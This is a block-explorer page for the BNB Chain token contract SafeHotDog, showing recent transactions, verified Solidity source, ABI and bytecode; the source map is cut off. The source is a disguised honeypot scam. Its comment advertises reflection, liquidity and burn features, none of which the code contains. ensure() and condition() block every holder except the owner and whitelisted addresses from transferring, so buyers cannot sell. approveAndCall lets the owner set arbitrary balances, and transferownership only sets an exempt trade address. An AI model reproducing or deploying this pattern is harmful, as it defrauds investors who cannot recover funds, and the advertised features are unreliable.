Contract 0xd88caa002bdb2f60fff1e6b525e54a97b00a59b4

 

Contract Overview

Balance:
0.0007 BNB

BNB Value:
$0.23 (@ $330.61/BNB)

Token:
 
Txn Hash
Block
From
To
Value [Txn Fee]
0x0a7ceb3d7f08e4e4da9e0971f3abcbe37b44186ba2458e91a0d8afa8f5d1f28d82343842021-06-12 13:45:4151 days 8 hrs ago0xa6eae025e3879e60607e39af40f7d805366b2bfb IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000141455
0x3e01ad85c575faf8021d86a0958d209f8b477f998f4db3a84125b979b8670adb82326172021-06-12 12:17:2051 days 9 hrs ago0x1788fc50db832b81771d76821e37b380d58ede8d IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221725
0xdce5acd73bcab8b1fd29939a2d341e6267ff77c47bca48728a4e5fc9155756d582325492021-06-12 12:13:5651 days 9 hrs ago0xf4f3bf2bfea9a176fd58abbd5bc05e7989cb49e5 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000296725
0x58b7ee0390b20cff531b3117c4f61cb3075d1be552492cc01b45500a9516672182321202021-06-12 11:52:1051 days 9 hrs ago0xa6eae025e3879e60607e39af40f7d805366b2bfb IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000216455
0xb41017e373fa4fdf65011363bc47bafdd0c7a4ab45f332311b716971a5456c5c82320072021-06-12 11:46:3151 days 10 hrs ago0xe604429ae356d38cdd71c47ebdbaf16fddbdc278 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221725
0xfbc043a0702a553aec91525b215070c122d01cff58b54b2ad79647e077a7e28082318932021-06-12 11:40:4951 days 10 hrs ago0x6985c722614e4779de620fda5d18d443ae7b5e5d IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000296725
0x75a3e47d64a7cb03b73f71d2ef4c58cc04a3e133c7965b0d7fa05a42005f3c9e82317402021-06-12 11:33:1051 days 10 hrs ago0xd71f0b96f20dc02d1f2bf6da0075267987bc291c IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000155345
0xcafe4cd3139a813d1804e19f67e99faa7029e6a3051e04787819e006f83b2e3582317032021-06-12 11:31:1951 days 10 hrs ago0xb55e1c8c26f45f06e7271394c7c88dfeafd2bc4a IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000230405
0x0e4c7614ae60192da3556fe236309cb317b97cca5bd7cd8f0b426b7c45e1844781972192021-06-11 6:41:0252 days 15 hrs ago0xf23c2fc101ee38884ac892607d9d0c6ec291d0cf IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.0002255271
0x840e008018fa031bca6f95fbed3fd2cbcb925503d4927fd84619cb9da8cc623c81964742021-06-11 6:03:4752 days 15 hrs ago0x13de0e4a91ab8c6a3302f471834a4f7d2d6765a4 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000219245
0xa576c1fd079079369223843a2d5a0e8df17a4ac41be5bebc511b1110caef8a1181964322021-06-11 6:01:4152 days 15 hrs ago0xa6eae025e3879e60607e39af40f7d805366b2bfb IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000243935
0x74ffae202c0fef659f3495e6f99a823f78028bd02753943c537c9eec3a25e4b181946092021-06-11 4:30:2852 days 17 hrs ago0x1eb437701000882aa79f8ab0ccb7888a17698595 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0x9e6550b7870d2cc70f880e7ef46addbebfe7dcd8a8070eb52c45537331c0f12181894682021-06-11 0:13:0452 days 21 hrs ago0x2a6f207771c766feb60d837c5488db209de2fce2 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40.0007 BNB0.000111595
0x60b93ac9ab2f9a35785dd17118e885572026227983c81abbe8795f156327942f81885352021-06-10 23:26:0152 days 22 hrs ago0xa04c39962074a9a3c2757e41a42bee9c5bf969ee IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.0002255271
0x5749cdf9069e01cea43e597f0e4f866aea08d353b490ee23b9983782b60eed2181856502021-06-10 21:01:4253 days 45 mins ago0xb02d107e271e9d7ff3589729a58a37c6ec8d9a42 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0xa52f32da241586759c96e1068a787301754749907456ad9f7f8baff8377a7bf081837252021-06-10 19:24:1653 days 2 hrs ago0x372a1450101c934b95b7556eff6c6c321231d207 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0xf0c51510a97017678f6c983d238dc18f3dfa4730200b43946e884f078e4e127f81824002021-06-10 18:17:4053 days 3 hrs ago0xd8aa3d289842d5009ae133bd6db5aacd313affc0 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0x5e34012731eb7a80c4fef5529fce6dce0995bfc480d3d25ae473ad2546cbc19381803212021-06-10 16:33:3753 days 5 hrs ago0x9f69d65f2db3e61b3a0ec7df5c798943100af4bd IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.00014037
0x867ed8be05f6b1aa7c3a11139579c563a1c1f550774c7c9dde78aaad5959c24481802352021-06-10 16:29:1753 days 5 hrs ago0x37aba4ffab4bd5dccc271403b94d3c2518544032 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0x7f64d09ac98e67b3c75b7d4d06a78930b4ab311a712843d89d24bee58a9dc44081800142021-06-10 16:17:2453 days 5 hrs ago0x9f69d65f2db3e61b3a0ec7df5c798943100af4bd IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.00028074
0xddaa539fa7d7ada51026b5942b87c539b960e9495523df6797156a75e467783e81797732021-06-10 16:05:2153 days 5 hrs ago0x6c93e835621666997f6b4abb2332b8d4807e2cf4 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0x8462660f3dd38399c040d745be95c763b003175b2ab47d6b59ec73415a7e386d81796122021-06-10 15:57:1853 days 5 hrs ago0xfa30e689fa8fed22fd3d4da5291b1abeac7c5e23 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0x9759a0adf9203c26181ee65e7f49a568bcd3458b1414820f0738f59b05a023ee81796112021-06-10 15:57:1553 days 5 hrs ago0xb246efde1206cb5b7338130f737d73ac67299b0d IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000125105
0xa212449353db09cedbc5c4b2792564f1ac8bfff8d8a7a3c4675299caa9bf0f4981795072021-06-10 15:52:0353 days 5 hrs ago0x940b448cb4bab0c8e569b3474818d9ef0128ea19 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
0x3e79a5aa510f3082d07719e81f2004574cd1ff4bae79b8f6faf2037e4906c48181794432021-06-10 15:48:5153 days 5 hrs ago0xf2ee40459034175d00ec85b6a0a2f59eeac4f011 IN  0xd88caa002bdb2f60fff1e6b525e54a97b00a59b40 BNB0.000221105
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SafeHotDog

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-06-10
*/

//Safehotdog is a community driven protocol launched by a few crypto-enthusiasts in order to combine our love for defi, passive yield and tasty hotdogs. Each transaction triggers three features : reflection, LP acquisition and burn.
//Website: https://safehotdog.com/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract SafeHotDog {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

6080604052604051610aa1380380610aa18339818101604052606081101561002657600080fd5b810190808051604051939291908464010000000082111561004657600080fd5b90830190602082018581111561005b57600080fd5b825164010000000081118282018810171561007557600080fd5b82525081516020918201929091019080838360005b838110156100a257818101518382015260200161008a565b50505050905090810190601f1680156100cf5780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156100f257600080fd5b90830190602082018581111561010757600080fd5b825164010000000081118282018810171561012157600080fd5b82525081516020918201929091019080838360005b8381101561014e578181015183820152602001610136565b50505050905090810190601f16801561017b5780820380516001836020036101000a031916815260200191505b50604052602090810151855190935061019a9250600991860190610224565b5081516101ae90600a906020850190610224565b50670de0b6b3a764000081026008819055600b80546001600160a01b031916339081179091556000818152600660209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050506102bf565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061026557805160ff1916838001178555610292565b82800160010185558215610292579182015b82811115610292578251825591602001919060010190610277565b5061029e9291506102a2565b5090565b6102bc91905b8082111561029e57600081556001016102a8565b90565b6107d3806102ce6000396000f3fe60806040526004361061009c5760003560e01c80633177029f116100645780633177029f146101dd57806370a082311461021657806395d89b4114610249578063a9059cbb1461025e578063dd62ed3e1461028a578063e8b5b796146102c55761009c565b806306fdde03146100a1578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610192578063313ce567146101c8575b600080fd5b3480156100ad57600080fd5b506100b66102f8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610386565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806103ed565b60408051918252519081900360200190f35b610157600480360360608110156101a857600080fd5b506001600160a01b038135811691602081013590911690604001356103f3565b3480156101d457600080fd5b50610180610528565b3480156101e957600080fd5b506101576004803603604081101561020057600080fd5b506001600160a01b03813516906020013561052d565b34801561022257600080fd5b506101806004803603602081101561023957600080fd5b50356001600160a01b031661059c565b34801561025557600080fd5b506100b66105ae565b6101576004803603604081101561027457600080fd5b506001600160a01b038135169060200135610609565b34801561029657600080fd5b50610180600480360360408110156102ad57600080fd5b506001600160a01b0381358116916020013516610616565b3480156102d157600080fd5b50610157600480360360208110156102e857600080fd5b50356001600160a01b0316610633565b6009805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b60008161040257506001610521565b336001600160a01b0385161461046d576001600160a01b038416600090815260076020908152604080832033845290915290205482111561044257600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b610478848484610672565b61048157600080fd5b6001600160a01b0384166000908152600660205260409020548211156104a657600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b600b546000906001600160a01b0316331461054757600080fd5b8115610573576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b60066020526000908152604090205481565b600a805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b60006105213384846103f3565b600760209081526000928352604080842090915290825290205481565b600b546000906001600160a01b0316331461064d57600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b600b546000906001600160a01b038581169116148061069e5750600b546001600160a01b038481169116145b806106b657506005546001600160a01b038581169116145b806106d957506001600160a01b03841660009081526001602052604090205460ff165b156106e657506001610521565b6106f08483610703565b6106f957600080fd5b5060019392505050565b600060045460001480156107175750600254155b80156107235750600354155b15610730575060006103e7565b60045415610761576004546001600160a01b03841660009081526020819052604090205410610761575060006103e7565b6002541561077b5781600254111561077b575060006103e7565b6003541561079557600354821115610795575060006103e7565b5060019291505056fea265627a7a72315820922046c07a66dc8404a18403b5589806f8cf21f94059d0a14388e2b07b62591164736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000989680000000000000000000000000000000000000000000000000000000000000000e73616665686f74646f672e636f6d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065341464548440000000000000000000000000000000000000000000000000000

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000989680000000000000000000000000000000000000000000000000000000000000000e73616665686f74646f672e636f6d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065341464548440000000000000000000000000000000000000000000000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000989680
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 73616665686f74646f672e636f6d000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 5341464548440000000000000000000000000000000000000000000000000000


Deployed ByteCode Sourcemap

7827:3194:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10595:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10595:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;10595:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9041:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;9041:213:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;10565:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10565:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;8468:564;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8468:564:0;;;;;;;;;;;;;;;;;:::i;10524:34::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10524:34:0;;;:::i;9926:271::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9926:271:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;9926:271:0;;;;;;;;:::i;10402:42::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10402:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;10402:42:0;-1:-1:-1;;;;;10402:42:0;;:::i;10620:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10620:20:0;;;:::i;8019:137::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8019:137:0;;;;;;;;:::i;10451:63::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10451:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;10451:63:0;;;;;;;;;;:::i;10232:161::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10232:161:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;10232:161:0;-1:-1:-1;;;;;10232:161:0;;:::i;10595:18::-;;;;;;;;;;;;;;;-1:-1:-1;;10595:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;9041:213::-;9140:10;9113:4;9130:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;9130:31:0;;;;;;;;;;;:40;;;9186:38;;;;;;;9113:4;;9130:31;;9140:10;;9186:38;;;;;;;;-1:-1:-1;9242:4:0;9041:213;;;;;:::o;10565:23::-;;;;:::o;8468:564::-;8555:4;8576:11;8572:31;;-1:-1:-1;8597:4:0;8590:11;;8572:31;8617:10;-1:-1:-1;;;;;8617:19:0;;;8613:152;;-1:-1:-1;;;;;8661:16:0;;;;;;:9;:16;;;;;;;;8678:10;8661:28;;;;;;;;:38;-1:-1:-1;8661:38:0;8653:47;;;;;;-1:-1:-1;;;;;8715:16:0;;;;;;:9;:16;;;;;;;;8732:10;8715:28;;;;;;;:38;;;;;;;8613:152;8783:26;8790:5;8797:3;8802:6;8783;:26::i;:::-;8775:35;;;;;;-1:-1:-1;;;;;8829:16:0;;;;;;:9;:16;;;;;;:26;-1:-1:-1;8829:26:0;8821:35;;;;;;-1:-1:-1;;;;;8867:16:0;;;;;;;:9;:16;;;;;;;;:26;;;;;;;8904:14;;;;;;;;;:24;;;;;;8939:17;;;;;;;;;;:19;;-1:-1:-1;8939:19:0;;;8974:28;;;;;;;8904:14;;8974:28;;;;;;;;;;;-1:-1:-1;9020:4:0;8468:564;;;;;;:::o;10524:34::-;10556:2;10524:34;:::o;9926:271::-;10042:5;;10003:4;;-1:-1:-1;;;;;10042:5:0;10028:10;:19;10020:28;;;;;;10062:14;;10059:77;;-1:-1:-1;;;;;10079:18:0;;;;;;:9;:18;;;;;10112:21;10100:34;;10079:55;;10059:77;-1:-1:-1;;;;;;;10146:16:0;;;;;10163:4;10146:16;;;;;;;;:21;;-1:-1:-1;;10146:21:0;;;;;10163:4;9926:271::o;10402:42::-;;;;;;;;;;;;;:::o;10620:20::-;;;;;;;;;;;;;;;-1:-1:-1;;10620:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8019:137;8087:4;8111:37;8124:10;8136:3;8141:6;8111:12;:37::i;10451:63::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;10232:161::-;10327:5;;10288:4;;-1:-1:-1;;;;;10327:5:0;10313:10;:19;10305:28;;;;;;-1:-1:-1;10344:12:0;:19;;-1:-1:-1;;;;;10344:19:0;;-1:-1:-1;;;;;;10344:19:0;;;;;;;10232:161;;;:::o;8165:291::-;8282:5;;8244:4;;-1:-1:-1;;;;;8273:14:0;;;8282:5;;8273:14;;:30;;-1:-1:-1;8298:5:0;;-1:-1:-1;;;;;8291:12:0;;;8298:5;;8291:12;8273:30;:55;;;-1:-1:-1;8316:12:0;;-1:-1:-1;;;;;8307:21:0;;;8316:12;;8307:21;8273:55;:71;;;-1:-1:-1;;;;;;8330:14:0;;;;;;:7;:14;;;;;;;;8273:71;8270:113;;;-1:-1:-1;8367:4:0;8360:11;;8270:113;8401:24;8411:5;8418:6;8401:9;:24::i;:::-;8393:33;;;;;;-1:-1:-1;8444:4:0;8165:291;;;;;:::o;9266:462::-;9335:4;9354:8;;9366:1;9354:13;:30;;;;-1:-1:-1;9371:8:0;;:13;9354:30;:47;;;;-1:-1:-1;9388:8:0;;:13;9354:47;9351:64;;;-1:-1:-1;9410:5:0;9403:12;;9351:64;9439:8;;:12;9436:89;;9491:8;;-1:-1:-1;;;;;9470:17:0;;:10;:17;;;;;;;;;;;:29;9467:46;;-1:-1:-1;9508:5:0;9501:12;;9467